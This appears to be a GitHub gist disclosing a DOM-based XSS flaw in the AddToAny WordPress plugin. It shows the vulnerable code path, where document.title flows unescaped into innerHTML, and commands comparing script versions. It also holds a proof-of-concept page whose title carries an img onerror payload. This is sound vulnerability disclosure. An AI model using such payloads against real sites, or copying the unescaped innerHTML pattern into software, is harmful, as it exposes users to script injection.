Skip to content

Instantly share code, notes, and snippets.

@cneill
Last active January 29, 2023 21:33
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
DOM-based XSS in AddToAny

AddToAny WordPress plugin DOM-based XSS

Vulnerable script location : https://static.addtoany.com/menu/page.js

Archived source : https://gist.github.com/cneill/f701c7ccc2a4bb85a6b1

Archive.org snapshot : https://web.archive.org/web/20151017052627/http://static.addtoany.com/menu/page.js

Comparison of script versions :

curl -s https://gist.githubusercontent.com/cneill/f701c7ccc2a4bb85a6b1/raw/ec7683d52eaf28eec6e55fb7efda056b08d5562a/page.js > real-page
curl -s https://web.archive.org/web/20151017052627/http://static.addtoany.com/menu/page.js > archived-page
cat archived-page | tr -d '\n' | sed 's#/\*.*\*/##' | sed 's#/web/20151017052627/##g' > temp && perl -pe 'chomp if eof' temp > archived-page-normalized
diff -q archived-page-normalized real-page
rm temp real-page archived-page archived-page-normalized

Expanded script source (JSNice'd) : https://gist.github.com/cneill/6ecf9fee470eee16f38c

Description :

The 'linkname' attribute of the 'config' parameter is populated from document.title. document.title, even when containing escaped HTML, will return unescaped HTML. The 'linkname' attribute is then passed into the 'main' element's innerHTML without any additional escaping, which opens the possibility for XSS.

Vulnerable Code (expanded) :

Line 179 - 224:

var init = function(config, e) {
 ...
 var main = document.createElement("div");
 ...
 var name = a2a.getData(item)["a2a-title"];
 ...
 config.linkname = e.linkname = name || config.linkname;
 config.linkurl = e.linkurl = opt_button || config.linkurl;
 ...
 main.innerHTML = config.linkname;
 ...
};

Line 264-297

self.linkname = a2a[self.type].last_linkname = options.linkname || (a2a[self.type].last_linkname || (document.title || location.href));
self.linkurl = a2a[self.type].last_linkurl = options.linkurl || (a2a[self.type].last_linkurl || location.href);
self.linkname_escape = options.linkname_escape;
...
if (a2a.locale && !dataAndEvents) {
 a2a.fn_queue.push(function(self, data) {
  return function() {
   init(self, data);
  };
 }(self, d));
} else {
 init(self, d);
 ...
}

Proof-of-concept HTML :

<!DOCTYPE html>
<html>
<head>
<title>You searched for &quot;&gt;&lt;img src=x onerror=alert(1)&gt;</title>
</head>
<body>
<script>
    y = document.createElement('a');
    y.innerHTML = ( document.title || location.href );
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment